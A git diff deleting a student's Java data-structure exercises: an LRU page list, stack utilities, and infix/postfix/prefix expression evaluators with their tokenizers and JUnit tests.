-     * 此处没有要求传入的node的prev和next, 所以需要自己处理
-     * 
-     * @param node
-     */
-    private void addFirst(Node node) {
-        node.prev = null;
-        node.next = null;
-        if (first == null) {
-            first = node;
-            last = node;
-        } else {
-            first.prev = node;
-            node.next = first;
-            first = node;
-        }
-        size++;
-    }
-
-    /**
-     * 需要考虑删除的节点是头结点, 或尾节点的情况
-     */
-    private void removeNode(Node node) {
-        if (node.prev == null) {
-            first = node.next;
-        }
-        if (node.next == null) {
-            last = node.prev;
-        }
-        if (node.prev != null) {
-            node.prev.next = node.next;
-        }
-        if (node.next != null) {
-            node.next.prev = node.prev;
-        }
-        size--;
-    }
-
-    /**
-     * 如果已经满了, 则挤出去一个, 然后追加
-     * 
-     * @param node
-     */
-    private void accessNotExist(Node node) {
-        if (size == capacity) {
-            removeLast();
-        }
-        addFirst(node);
-    }
-
-    private void removeLast() {
-        last.prev.next = null;
-        last = last.prev;
-        size--;
-    }
-
-    private Node query(int pageNum) {
-        for (Node node = first; node != null; node = node.next) {
-            if (pageNum == node.pageNum) {
-                return node;
-            }
-        }
-        return null;
-    }
-
-    public String toString() {
-        StringBuilder buffer = new StringBuilder();
-        Node node = first;
-        while (node != null) {
-            buffer.append(node.pageNum);
-
-            node = node.next;
-            if (node != null) {
-                buffer.append(",");
-            }
-        }
-        return buffer.toString();
-    }
-
-}
diff --git a/group23/632678665/com/basic/week5/stack/StackUtil.java b/group23/632678665/com/basic/week5/stack/StackUtil.java
deleted file mode 100644
index 7b750b3549..0000000000
--- a/group23/632678665/com/basic/week5/stack/StackUtil.java
+++ /dev/null
@@ -1,103 +0,0 @@
-package com.coding.week5.stack;
-
-import com.coding.weak1.Stack;
-
-public class StackUtil {
-	
-	
-	/**
-	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 */
-	public static void reverse(Stack s) {
-		Stack stack = new Stack();
-		Stack stack1 = new Stack();
-		while (!s.isEmpty()) {
-			stack.push(s.pop());
-		}
-		while (!stack.isEmpty()) {
-			stack1.push(stack.pop());
-		}
-		while (!stack1.isEmpty()) {
-			s.push(stack1.pop());
-		}
-	}
-
-	/**
-	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * 
-	 * @param o
-	 */
-	public static void remove(Stack s,Object o) {
-		Stack stack = new Stack();
-		while (!s.isEmpty()){
-			Object o1 = s.pop();
-			if (!o.equals(o1)) {
-				stack.push(o1);
-			}
-		}
-		while (!stack.isEmpty()) {
-			s.push(stack.pop());
-		}
-	}
-
-	/**
-	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * @param len
-	 * @return
-	 */
-	public static Object[] getTop(Stack s,int len) {
-		if (len > s.size() || len <= 0) {
-			throw new IllegalArgumentException(len+"");
-		}
-
-		Object[] objects = new Object[len];
-		for (int i = 0; i < len; i++) {
-			objects[i] = s.pop();
-		}
-		for (int i = len - 1; i >= 0 ; i--) {
-			s.push(objects[i]);
-		}
-		return objects;
-	}
-	/**
-	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
-	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-	 * @param s
-	 * @return
-	 */
-	public static boolean isValidPairs(String s){
-		Stack stack = new Stack();
-		char[] chars = s.toCharArray();
-		for (char c : chars) {
-			if (c == '(' || c == '{' || c == '[') {
-				stack.push(c);
-			} else if (c == ')' || c == '}' || c == ']'){
-				if (stack.isEmpty()) {
-					return false;
-				}
-				if (!isPair((char)stack.pop(), c)){
-					return false;
-				}
-			}
-		}
-		return stack.isEmpty();
-	}
-
-	private static boolean isPair(char left, char right) {
-		switch (left) {
-			case '{':
-				return right == '}';
-			case '[':
-				return right == ']';
-			case '(':
-				return right == ')';
-			default:
-				return false;
-		}
-	}
-	
-}
diff --git a/group23/632678665/com/basic/week6/expr/InfixExpr.java b/group23/632678665/com/basic/week6/expr/InfixExpr.java
deleted file mode 100644
index 34c1b15123..0000000000
--- a/group23/632678665/com/basic/week6/expr/InfixExpr.java
+++ /dev/null
@@ -1,127 +0,0 @@
-package com.coding.week6.expr;
-
-import com.coding.weak1.Stack;
-
-import java.util.ArrayList;
-import java.util.Iterator;
-import java.util.List;
-
-public class InfixExpr {
-	String expr = null;
-	private Stack numberStack;
-	private Stack operatorStack;
-	private List<Token> tokens;
-	public InfixExpr(String expr) {
-		this.expr = expr;
-		this.numberStack = new Stack();
-		this.operatorStack = new Stack();
-		tokens = new ArrayList<>();
-	}
-
-
-	public float evaluate() {
-		fillStack();
-		while (!operatorStack.isEmpty()) {
-			char symbol = (char) operatorStack.pop();
-			float operTop1 = (float) numberStack.pop();
-			float operTop2 = (float) numberStack.pop();
-			numberStack.push(caculate(symbol, operTop2, operTop1));
-		}
-		return (float)numberStack.pop();
-	}
-
-	public void parseTokens() {
-		char[] chars = expr.toCharArray();
-		for (int i = 0; i < chars.length; i++) {
-			char c = chars[i];
-			if (Token.isOperator(c)) {
-				Token token = new Token(c+"");
-				tokens.add(token);
-			} else {
-				String t = "";
-				while (Token.isDigit(c)){
-					t += c;
-					i++;
-					if (i == chars.length)
-						break;
-					c = chars[i];
-				}
-				Token token = new Token(t);
-				tokens.add(token);
-				i--;
-			}
-		}
-	}
-
-
-	public void fillStack() {
-		parseTokens();
-		Iterator<Token> iterator = tokens.iterator();
-		while (iterator.hasNext()) {
-			Token token = iterator.next();
-			if (token.isNumber()) {
-				numberStack.push((float)token.parseInt());
-				continue;
-			}
-			if (token.isOperator()) {
-				char operator = token.parseOperator();
-				if (operatorStack.isEmpty()) {
-					operatorStack.push(operator);
-				}else {
-					char topSymbol = (char)operatorStack.peek();
-					if (compare(operator, topSymbol) > 0) {
-						operatorStack.push(operator);
-					} else {
-						float operTop1 = (float) numberStack.pop();
-						float operTop2 = (float) numberStack.pop();
-						numberStack.push(caculate(topSymbol, operTop2, operTop1));
-						operatorStack.pop();
-						operatorStack.push(operator);
-					}
-				}
-			}
-
-		}
-	}
-
-
-	private float caculate(char symbol, float oper1, float oper2) {
-		if ('*' == symbol)
-			return oper1 * oper2;
-		else if ('/' == symbol)
-			return oper1 / oper2;
-		else if ('+' == symbol)
-			return oper1 + oper2;
-		else if ('-' == symbol)
-			return oper1 - oper2;
-		else
-			throw new RuntimeException("this operation has not implement");
-	}
-
-	public int compare(char opertor1, char opertor2) {
-		if (!Token.isOperator(opertor1) )
-			throw new IllegalArgumentException(opertor1 + "is not supported opertor");
-		if (!Token.isOperator(opertor2))
-			throw new IllegalArgumentException(opertor2 + "is not supported opertor");
-		if (Token.isAddOrSub(opertor1)) {
-			if (Token.isAddOrSub(opertor2))
-				return 0;
-			else
-				return -1;
-		}
-		else {
-			if (Token.isAddOrSub(opertor2))
-				return 1;
-			else
-				return 0;
-		}
-	}
-
-	public String printNumberStack() {
-		return numberStack.toString();
-	}
-
-	public String printOperatorStack() {
-		return operatorStack.toString();
-	}
-}
diff --git a/group23/632678665/com/basic/week6/expr/Token.java b/group23/632678665/com/basic/week6/expr/Token.java
deleted file mode 100644
index b58aa36968..0000000000
--- a/group23/632678665/com/basic/week6/expr/Token.java
+++ /dev/null
@@ -1,52 +0,0 @@
-package com.coding.week6.expr;
-
-/**
- * Created by Administrator on 2017/4/16 0016.
- */
-public class Token {
-
-    private String symbol;
-
-    public Token(String symbol) {
-        this.symbol = symbol;
-    }
-
-    public boolean isNumber() {
-        return symbol.matches("^\\d+$");
-    }
-
-
-    public boolean isOperator() {
-        return symbol.matches("^[\\+|\\*|\\-|\\/]$");
-    }
-
-    public int parseInt() {
-        return Integer.valueOf(symbol);
-    }
-
-    public char parseOperator() {
-        return symbol.charAt(0);
-    }
-
-
-    public static boolean isOperator(char c) {
-        return isAddOrSub(c) || isMulityOrDivide(c);
-    }
-
-    public static boolean isAddOrSub(char c) {
-        return c == '+' || c == '-';
-    }
-
-    public static boolean isMulityOrDivide(char c) {
-        return c == '/' || c == '*';
-    }
-
-    public static boolean isDigit(char c) {
-        return  c >= '0' && c <= '9';
-    }
-
-    @Override
-    public String toString(){
-        return symbol;
-    }
-}
diff --git a/group23/632678665/com/basic/week6/exprNew/InfixExpr.java b/group23/632678665/com/basic/week6/exprNew/InfixExpr.java
deleted file mode 100644
index 3962b49fce..0000000000
--- a/group23/632678665/com/basic/week6/exprNew/InfixExpr.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coding.week6.exprNew;
-
-import com.coding.weak1.Stack;
-
-import java.util.List;
-
-public class InfixExpr {
-	String expr = null;
-
-	public InfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-
-	public float evaluate() {
-
-		Stack operatorStack = new Stack();
-		Stack numberStack = new Stack();
-		fillStack(numberStack, operatorStack);
-		while (!operatorStack.isEmpty()) {
-			Operator symbol = (Operator) operatorStack.pop();
-			float operTop1 = (float) numberStack.pop();
-			float operTop2 = (float) numberStack.pop();
-			numberStack.push(symbol.apply(operTop2, operTop1));
-		}
-		return (float)numberStack.pop();
-	}
-
-	public void fillStack(Stack numberStack, Stack operatorStack) {
-		TokenParser tokenParser = new TokenParser();
-		List<Token> tokens = tokenParser.parse(expr);
-		for (Token token : tokens) {
-			if (token.isNumber()) {
-				numberStack.push(token.getFloatValue());
-			}
-			else if (token.isOperator()) {
-				Operator o = token.getOperator();
-				if (operatorStack.isEmpty()) {
-					operatorStack.push(o);
-				}else {
-					Operator top = (Operator)operatorStack.peek();
-					if (o.hasHigherPriority(top)) {
-						operatorStack.push(o);
-					} else {
-						float operTop1 = (float) numberStack.pop();
-						float operTop2 = (float) numberStack.pop();
-						numberStack.push(top.apply(operTop2, operTop1));
-						operatorStack.pop();
-						operatorStack.push(o);
-					}
-				}
-			}
-
-		}
-	}
-
-}
diff --git a/group23/632678665/com/basic/week6/exprNew/Operator.java b/group23/632678665/com/basic/week6/exprNew/Operator.java
deleted file mode 100644
index f6b4681e46..0000000000
--- a/group23/632678665/com/basic/week6/exprNew/Operator.java
+++ /dev/null
@@ -1,75 +0,0 @@
-package com.coding.week6.exprNew;
-
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Created by Administrator on 2017/4/22 0022.
- */
-public enum Operator {
-    ADD("+", 1) {
-        public float apply(float x, float y){
-            return x + y;
-        }
-    },
-
-    SUB("-", 1) {
-        @Override
-        public float apply(float x, float y) {
-            return x - y;
-        }
-    },
-
-    MULT("*", 2) {
-        @Override
-        public float apply(float x, float y) {
-            return x * y;
-        }
-    },
-
-    DIVI("/", 2) {
-        @Override
-        public float apply(float x, float y) {
-            return x / y;
-        }
-    };
-    private String symbol;
-    private int    priority;
-
-    Operator(String symbol, int priority) {
-        this.symbol = symbol;
-        this.priority = priority;
-    }
-
-    public boolean hasHigherPriority(Operator o) {
-        return this.priority > o.priority;
-    }
-
-    public String symbol() {
-        return symbol;
-    }
-
-    public static List<String> symbols() {
-        List<String> symbos = new ArrayList<>();
-        for (Operator o : Operator.values()) {
-            symbos.add(o.symbol);
-        }
-        return symbos;
-    }
-
-    public abstract float apply(float x, float y);
-
-    private static final Map<String, Operator> map = new HashMap<String, Operator>();
-
-    static {
-        for (Operator o : Operator.values()) {
-            map.put(o.symbol, o);
-        }
-    }
-
-    public static Map<String, Operator> getOperatorMap() {
-        return map;
-    }
-}
diff --git a/group23/632678665/com/basic/week6/exprNew/Token.java b/group23/632678665/com/basic/week6/exprNew/Token.java
deleted file mode 100644
index c925a22705..0000000000
--- a/group23/632678665/com/basic/week6/exprNew/Token.java
+++ /dev/null
@@ -1,63 +0,0 @@
-package com.coding.week6.exprNew;
-
-/**
- * Created by Administrator on 2017/4/22 0022.
- */
-public class Token {
-
-    private int    type;
-    private String value;
-
-    static final int NUMBER   = 1;
-    static final int OPERATOR = 2;
-    static final int LEFT_BRACKET  = 3;
-    static final int RIGHT_BRACKET  = 4;
-    public Token(int type, String value) {
-        this.type = type;
-        this.value = value;
-    }
-
-
-    public boolean isNumber(){
-        return type == NUMBER;
-    }
-
-    public boolean isOperator(){
-        return type == OPERATOR;
-    }
-
-    public boolean isLeftBracket() {
-        return type == LEFT_BRACKET;
-    }
-
-    public boolean isRightBracket() {
-        return type == RIGHT_BRACKET;
-    }
-
-    public float getFloatValue() {
-        if (isNumber())
-            return Integer.valueOf(value);
-        else
-            throw new RuntimeException("not a number");
-    }
-
-    public String toString() {
-        return value;
-    }
-
-
-    public Operator getOperator() {
-        if (isOperator()) {
-            return Operator.getOperatorMap().get(value);
-        } else {
-            throw new RuntimeException("not a operator");
-        }
-    }
-
-
-    public String getValue() {
-        return value;
-    }
-
-
-}
diff --git a/group23/632678665/com/basic/week6/exprNew/TokenParser.java b/group23/632678665/com/basic/week6/exprNew/TokenParser.java
deleted file mode 100644
index 52757dc0c7..0000000000
--- a/group23/632678665/com/basic/week6/exprNew/TokenParser.java
+++ /dev/null
@@ -1,60 +0,0 @@
-package com.coding.week6.exprNew;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by Administrator on 2017/4/22 0022.
- */
-public class TokenParser {
-
-    private static List<String> operators = Operator.symbols();
-    public List<Token> parse(String expr) {
-        List<Token> tokens = new ArrayList<>();
-        int i = 0;
-        while (i < expr.length()) {
-            char c = expr.charAt(i);
-            Token token;
-            if (Character.isDigit(c)) {
-                int nextOperIndex = getNextOperIndex(i, expr);
-                String n = expr.substring(i, nextOperIndex);
-                token = new Token(Token.NUMBER, n);
-                tokens.add(token);
-                i = nextOperIndex;
-            } else if (isOperator(c)) {
-                token = new Token(Token.OPERATOR, c+"");
-                tokens.add(token);
-                i++;
-            } else if (String.valueOf(c).matches("\\s")){
-                i++;
-            } else if (c == '(') {
-                token = new Token(Token.LEFT_BRACKET, String.valueOf(c));
-                tokens.add(token);
-                i++;
-            } else if (c == ')') {
-                token = new Token(Token.RIGHT_BRACKET, String.valueOf(c));
-                tokens.add(token);
-                i++;
-            } else {
-                throw new RuntimeException(c +" is not number or support operator");
-            }
-        }
-        return tokens;
-    }
-
-    private int getNextOperIndex(int i, String expr) {
-        while (Character.isDigit(expr.charAt(i))) {
-            i++;
-            if (i == expr.length()) {
-                break;
-            }
-        }
-        return i;
-    }
-
-    private boolean isOperator(char c) {
-      return  operators.contains(String.valueOf(c));
-    }
-
-
-}
diff --git a/group23/632678665/com/basic/week7/stack/MyStack.java b/group23/632678665/com/basic/week7/stack/MyStack.java
deleted file mode 100644
index 9a8bf42296..0000000000
--- a/group23/632678665/com/basic/week7/stack/MyStack.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package com.ralf.stack;
-
-import java.util.LinkedList;
-import java.util.NoSuchElementException;
-
-/**
- * ʵ�ֻ������ݽṹջ
- * 
- * @author chk
- * 
- */
-public class MyStack<T> {
-
-	private LinkedList<T> linkedList = new LinkedList<>();
-
-	public MyStack() {
-
-	}
-
-	public void push(T t) {
-		linkedList.addFirst(t);
-	}
-
-	public T pop() {
-		if (size() == 0) {
-			throw new NoSuchElementException();
-		}
-		return linkedList.removeFirst();
-	}
-
-	public T peek() {
-		return (size() == 0) ? null : linkedList.getFirst();
-	}
-
-	public int size() {
-		return linkedList.size();
-	}
-
-	public boolean isEmpty(){
-		return linkedList.isEmpty();
-	}
-}
diff --git a/group23/632678665/com/basic/week7/stack/StackUtil.java b/group23/632678665/com/basic/week7/stack/StackUtil.java
deleted file mode 100644
index 758178131c..0000000000
--- a/group23/632678665/com/basic/week7/stack/StackUtil.java
+++ /dev/null
@@ -1,173 +0,0 @@
-package com.ralf.stack;
-
-import java.util.NoSuchElementException;
-
-public class StackUtil {
-
-	private static MyStack myStack = new MyStack<>();
-
-	/**
-	 * ����ջ�е�Ԫ����Integer, ��ջ����ջ���� : 5,4,3,2,1 ���ø÷����� Ԫ�ش����Ϊ: 1,2,3,4,5
-	 * ע�⣺ֻ��ʹ��Stack�Ļ�����������push,pop,peek,isEmpty�� ����ʹ������һ��ջ������
-	 * 
-	 * @param <T>
-	 */
-	public static <T> void reverse(MyStack<T> stack) {
-
-		if (stack.isEmpty()) {
-			System.out.println("��ջΪ��ջ��");
-			return;
-		}
-		@SuppressWarnings("unchecked")
-		T[] elements = (T[]) new Object[stack.size()];
-		for (int i = 0; i < elements.length; i++) {
-			elements[i] = stack.pop();
-		}
-		for (int i = 0; i < elements.length; i++) {
-			stack.push(elements[i]);
-		}
-
-	}
-	
-	public static void bad_reverse(MyStack<Integer> s) {
-		if(s == null || s.isEmpty()){
-			return;
-		}
-		MyStack<Integer> tmpStack = new MyStack<>();
-		while(!s.isEmpty()){
-			tmpStack.push(s.pop());
-		}
-		
-		s = tmpStack;
-		
-	}
-	
-
-	/**
-	 * ɾ��ջ�е�ij��Ԫ�� ע�⣺ֻ��ʹ��Stack�Ļ�����������push,pop,peek,isEmpty�� ����ʹ������һ��ջ������
-	 * 
-	 * @param o
-	 */
-	public static <T> void remove(MyStack<T> s, T o) {
-		if (s.isEmpty()) {
-			System.out.println("��ջΪ�գ�");
-			return;
-		}
-		MyStack<T> stack = new MyStack<>();
-
-		while (!s.isEmpty()) {
-			T t = s.pop();
-			if (t.equals(o)) {
-				PopAndPush(s, stack);
-				return;
-			}
-			stack.push(t);
-		}
-		throw new NoSuchElementException("��ջû�и�Ԫ�أ�");
-
-	}
-
-	private static <T> void PopAndPush(MyStack<T> s, MyStack<T> stack) {
-		while (!stack.isEmpty()) {
-			T t = stack.pop();
-			s.push(t);
-		}
-	}
-
-	/**
-	 * ��ջ��ȡ��len��Ԫ��, ԭ����ջ��Ԫ�ر��ֲ��� ע�⣺ֻ��ʹ��Stack�Ļ�����������push,pop,peek,isEmpty��
-	 * ����ʹ������һ��ջ������
-	 * 
-	 * @param len
-	 * @return
-	 */
-	@SuppressWarnings("unchecked")
-	public static <T> T[] getTop(MyStack<T> s, int len) {
-
-		if (s.isEmpty() || len > s.size()) {
-			return null;
-		}
-		MyStack<T> oldStack = s;
-		T[] elements = (T[]) new Object[len];
-		for (int i = 0; i < len; i++) {
-			elements[i] = s.pop();
-		}
-		s = oldStack;
-		return elements;
-	}
-
-	/**
-	 * �ַ���s ���ܰ�����Щ�ַ��� ( ) [ ] { }, a,b,c... x,yz ʹ�ö�ջ����ַ���s�е������Dz��dzɶԳ��ֵġ� ����s =
-	 * "([e{d}f])" , ����ַ����е������dzɶԳ��֣� �÷�������true ��� s = "([b{x]y})",
-	 * ����ַ����е����Ų��dzɶԳ��ֵģ� �÷�������false;
-	 * 
-	 * @param s
-	 * @return
-	 */
-	public static <T> boolean isValidPairs(String s) {
-
-		char[] ch = s.toCharArray();
-		if (ch.length < 1) {
-			return false;
-		}
-
-		MyStack<String> leftStack = new MyStack<>();
-		MyStack<String> rightStack = new MyStack<>();
-
-		for (int i = 0; i < ch.length; i++) {
-
-			switch (ch[i]) {
-			case '(':
-				leftStack.push(String.valueOf(ch[i]));
-				break;
-
-			case '[':
-				leftStack.push(String.valueOf(ch[i]));
-				break;
-
-			case '{':
-				leftStack.push(String.valueOf(ch[i]));
-				break;
-
-			case ')':
-				rightStack.push(String.valueOf(ch[i]));
-				break;
-
-			case ']':
-				rightStack.push(String.valueOf(ch[i]));
-				break;
-
-			case '}':
-				rightStack.push(String.valueOf(ch[i]));
-				break;
-
-			default:
-				break;
-			}
-		}
-		return isPair(leftStack, rightStack);
-
-	}
-
-	private static boolean isPair(MyStack<String> leftStack,
-			MyStack<String> rightStack) {
-
-		if (leftStack.size() != rightStack.size()) {
-			return false;
-		}
-
-		reverse(rightStack);
-		while (!leftStack.isEmpty()) {
-
-			StringBuilder stringBuilder = new StringBuilder();
-			stringBuilder.append(leftStack.pop()).append(rightStack.pop());
-
-			String pair = stringBuilder.toString();
-			if (!pair.equals("()") && !pair.equals("[]") && !pair.equals("{}")) {
-				return false;
-			}
-		}
-		return true;
-	}
-
-}
diff --git a/group23/632678665/com/basic/week7/stack/expr/ExprIterator.java b/group23/632678665/com/basic/week7/stack/expr/ExprIterator.java
deleted file mode 100644
index d82db3e915..0000000000
--- a/group23/632678665/com/basic/week7/stack/expr/ExprIterator.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.ralf.stack.expr;
-
-import java.util.ArrayList;
-
-public class ExprIterator {
-
-	private int operPos;
-	private int numPos;
-	private ArrayList<String> operateList = new ArrayList<>();
-	private ArrayList<String> numList = new ArrayList<>();
-
-	public ExprIterator(String exprString) {
-		char[] chs = exprString.toCharArray();
-		transToString(chs);
-	}
-
-	public Integer nextNumString() {
-		if (hasNextNum()) {
-			return Integer.parseInt(numList.get(numPos++));
-		}
-		return null;
-	}
-	public String nextOperateString() {
-		if (hasNextOperate()) {
-			return operateList.get(operPos++);
-		}
-		return null;
-	}
-
-	public boolean hasNextNum() {
-		return numPos < numList.size();
-	}
-	
-	public boolean hasNextOperate() {
-		return operPos < operateList.size();
-	}
-
-	private void transToString(char[] chs) {
-
-		StringBuilder stringBuilder = new StringBuilder();
-		
-		for (int i = 0; i < chs.length; i++) {
-			if (chs[i] == '+' || chs[i] == '-' || chs[i] == '*'
-					|| chs[i] == '/') {
-				numList.add(stringBuilder.toString());
-				operateList.add(String.valueOf(chs[i]));
-				stringBuilder.delete(0, stringBuilder.length());
-			}
-			else {
-				stringBuilder.append(chs[i]);
-			}
-			
-		}
-		numList.add(stringBuilder.toString());
-	}
-
-}
diff --git a/group23/632678665/com/basic/week7/stack/expr/InfixExpr.java b/group23/632678665/com/basic/week7/stack/expr/InfixExpr.java
deleted file mode 100644
index 86a060845c..0000000000
--- a/group23/632678665/com/basic/week7/stack/expr/InfixExpr.java
+++ /dev/null
@@ -1,74 +0,0 @@
-package com.ralf.stack.expr;
-
-import java.util.List;
-
-import com.ralf.stack.MyStack;
-
-public class InfixExpr {
-
-	private String exprString;
-
-	public InfixExpr(String exprString) {
-		this.exprString = exprString;
-	}
-
-	public double evaluate() {
-
-		MyStack<Float> numStack = new MyStack<Float>();
-		MyStack<Token> operStack = new MyStack<>();
-		TokenParser parser = new TokenParser();
-
-		List<Token> list = parser.parse(exprString);
-
-		for (Token token : list) {
-			if (token.isOperator()) {
-				if (operStack.isEmpty()) {
-					operStack.push(token);
-				} else {
-					while (!operStack.isEmpty()
-							&& !token.hasHigherPriority(operStack.peek())) {
-						String operator = operStack.pop().toString();
-						Float num1 = numStack.pop();
-						Float num2 = numStack.pop();
-						Float result = operate(operator,num1,num2);
-						numStack.push(result);
-					}
-					operStack.push(token);
-				}
-			}
-			if (token.isNumber()) {
-				numStack.push(new Float(token.getValue()));
-			}
-		}
-		
-		while(!operStack.isEmpty()){
-			String operator = operStack.pop().toString();
-			Float num1 = numStack.pop();
-			Float num2 = numStack.pop();
-			Float result = operate(operator,num1,num2);
-			numStack.push(result);
-		}
-
-		return numStack.pop().floatValue();
-	}
-
-	private Float operate(String operator,Float num1, Float num2) {
-		float result = 0.0f;
-		switch (operator) {
-		case "+":
-			result = num2 + num1;
-			break;
-		case "-":
-			result = num2 - num1;
-			break;
-		case "*":
-			result = num2 * num1;
-			break;
-		case "/":
-			result = num2 / num1;
-			break;
-		}
-		return result;
-	}
-
-}
diff --git a/group23/632678665/com/basic/week7/stack/expr/InfixToPostExpr.java b/group23/632678665/com/basic/week7/stack/expr/InfixToPostExpr.java
deleted file mode 100644
index 6296d160ef..0000000000
--- a/group23/632678665/com/basic/week7/stack/expr/InfixToPostExpr.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.ralf.stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.ralf.stack.MyStack;
-import com.ralf.stack.StackUtil;
-
-public class InfixToPostExpr {
-
-	public static List<Token> convert(String infixString){
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(infixString);
-		
-		MyStack<Token> S1 = new MyStack<Token>();
-		MyStack<Token> S2 = new MyStack<>();
-		
-		
-		for(Token token : tokens){
-			if (token.isNumber()) {
-				S2.push(token);
-			}
-			else{
-				while(!S1.isEmpty() && !token.hasHigherPriority(S1.peek())) {
-					S2.push(S1.pop());
-				}
-				S1.push(token);
-			}
-		}
-		while(!S1.isEmpty()){
-			S2.push(S1.pop());
-		}
-		ArrayList<Token> list = new ArrayList<>();
-		StackUtil.reverse(S2);
-		while(!S2.isEmpty()){
-			list.add(S2.pop());
-		}
-		return list;
-	}
-}
diff --git a/group23/632678665/com/basic/week7/stack/expr/InfixToPostExprTest.java b/group23/632678665/com/basic/week7/stack/expr/InfixToPostExprTest.java
deleted file mode 100644
index d21344ea1e..0000000000
--- a/group23/632678665/com/basic/week7/stack/expr/InfixToPostExprTest.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.ralf.stack.expr;
-
-import java.util.List;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class InfixToPostExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@Test
-	public void test() {
-		//10-2*3+50
-		String string = "10-2*3+50";
-		List<Token> tokens = InfixToPostExpr.convert(string);
-		
-		Assert.assertEquals(10, tokens.get(0).getValue());
-		Assert.assertEquals(2, tokens.get(1).getValue());
-		Assert.assertEquals(3, tokens.get(2).getValue());
-		Assert.assertEquals("*", tokens.get(3).toString());
-		Assert.assertEquals("-", tokens.get(4).toString());
-		Assert.assertEquals(50, tokens.get(5).getValue());
-		Assert.assertEquals("+", tokens.get(6).toString());
-	}
-
-}
diff --git a/group23/632678665/com/basic/week7/stack/expr/PostfixExpr.java b/group23/632678665/com/basic/week7/stack/expr/PostfixExpr.java
deleted file mode 100644
index 6e40dbe72f..0000000000
--- a/group23/632678665/com/basic/week7/stack/expr/PostfixExpr.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package com.ralf.stack.expr;
-
-import java.util.List;
-
-import com.ralf.stack.MyStack;
-
-public class PostfixExpr {
-	
-	private String exprString;
-	
-	public PostfixExpr(String exprString){
-		this.exprString = exprString;
-	}
-
-	public float evaluate() {
-		MyStack<Float> myStack = new MyStack<>();
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(exprString);
-		for(Token token : tokens){
-			if (token.isNumber()) {
-				myStack.push(new Float(token.getValue()));
-			}
-			if (token.isOperator()) {
-				float f2 = myStack.pop();
-				float f1 = myStack.pop();
-				myStack.push(calculate(token.toString(), f1, f2));
-			}
-		}
-		return myStack.pop().floatValue();
-	}
-	
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
-	}
-
-}
diff --git a/group23/632678665/com/basic/week7/stack/expr/PostfixExprTest.java b/group23/632678665/com/basic/week7/stack/expr/PostfixExprTest.java
deleted file mode 100644
index d5ff875c0f..0000000000
--- a/group23/632678665/com/basic/week7/stack/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package com.ralf.stack.expr;
-
-import static org.junit.Assert.*;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class PostfixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@Test
-	public void test() {
-		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-			Assert.assertEquals(20, expr.evaluate(),0.0f);
-		}
-		
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54, expr.evaluate(),0.0f);
-		}
-	}
-
-}
diff --git a/group23/632678665/com/basic/week7/stack/expr/PrefixExpr.java b/group23/632678665/com/basic/week7/stack/expr/PrefixExpr.java
deleted file mode 100644
index 651889259e..0000000000
--- a/group23/632678665/com/basic/week7/stack/expr/PrefixExpr.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.ralf.stack.expr;
-
-import java.util.List;
-
-import com.ralf.stack.MyStack;
-
-public class PrefixExpr {
-
-	private String exprString;
-	
-	public PrefixExpr(String exprString) {
-		this.exprString = exprString;
-	}
-
-	public float evaluate() {
-		
-		MyStack<Float> myStack = new MyStack<>();
-		MyStack<Token> exprStack = new MyStack<>();
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(exprString);
-		
-		for(Token token : tokens){
-			exprStack.push(token);
-		}
-		
-		while(!exprStack.isEmpty()){
-			Token token = exprStack.pop();
-			if (token.isNumber()) {
-				myStack.push(new Float(token.getValue()));
-			}
-			else {
-				Float f1 = myStack.pop();
-				Float f2 = myStack.pop();
-				myStack.push(calculate(token.toString(),f1,f2));
-			}
-		}
-		return myStack.pop().floatValue();
-	}
-
-	private Float calculate(String operator, Float f1, Float f2) {
-		if ("+".equals(operator)) {
-			return f1 + f2;
-		}
-		if ("-".equals(operator)) {
-			return f1 - f2;
-		}
-		if ("*".equals(operator)) {
-			return f1 * f2;
-		}
-		if ("/".equals(operator)) {
-			return f1 / f2;
-		}
-		else {
-			throw new RuntimeException("this operator is not supported!");
-		}
-		
-	}
-
-}
